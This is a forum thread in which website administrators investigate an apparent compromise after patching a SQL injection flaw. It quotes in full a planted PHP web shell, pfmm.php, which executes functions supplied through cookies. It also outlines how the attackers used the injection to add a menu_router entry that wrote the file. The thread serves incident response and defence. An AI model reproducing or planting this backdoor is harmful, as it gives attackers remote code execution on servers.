[zgwortz]

So, while patching our sites for this, we found one which apparently had already been patched. This was highly suspicious, especially since the file mod date is listed as approximately 9 hours ago when nobody was using the system and no login is registered for it, so we've been investigating. The only thing we've found so far is another file which was apparently created at the same exact time as the update:

modules/toolbar/pfmm.php

…which doesn't actually exist in the toolbar module (or anywhere else I can find). The contents of that look like an attempt to use some kind of exploit:

<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();

Not quite sure what that means, but we're still looking into it.

[snowwrestler]

Look at your server logs. Look at the timestamps around the file create date, and grep the logs for that path. You might be able to see a request creating that file, or calling it (neither is good...)

[zgwortz]

Already done. They're using the SQL injection to create a new page entry in the menu_router table whose access function was file_put_contents(). They then call this new page (in our case, they called it "nqabio") to write the file(s), and then called the pfmm.php.

Unfortunately, that code actually is taking PHP function calls from the cookies passed in with the request, and we didn't have cookie logging enabled, so we have no way of figuring out what that actually did. I suspect the Kcqf3 cookie is a decoder or decryption function, but the Kcqf2 function name is a mystery, and the Kcqf1 parameter could be anything.

[zgwortz]

I should add that the file was created by www-data:www-data, which for us stands out like a sore thumb as something created by a web page and NOT a user - our build process usually leaves it with a different user as the owner.